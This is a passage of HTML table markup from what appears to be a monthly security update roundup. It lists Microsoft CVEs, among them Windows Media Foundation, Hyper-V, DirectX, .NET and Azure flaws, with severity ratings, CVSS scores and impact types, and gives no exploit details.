  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
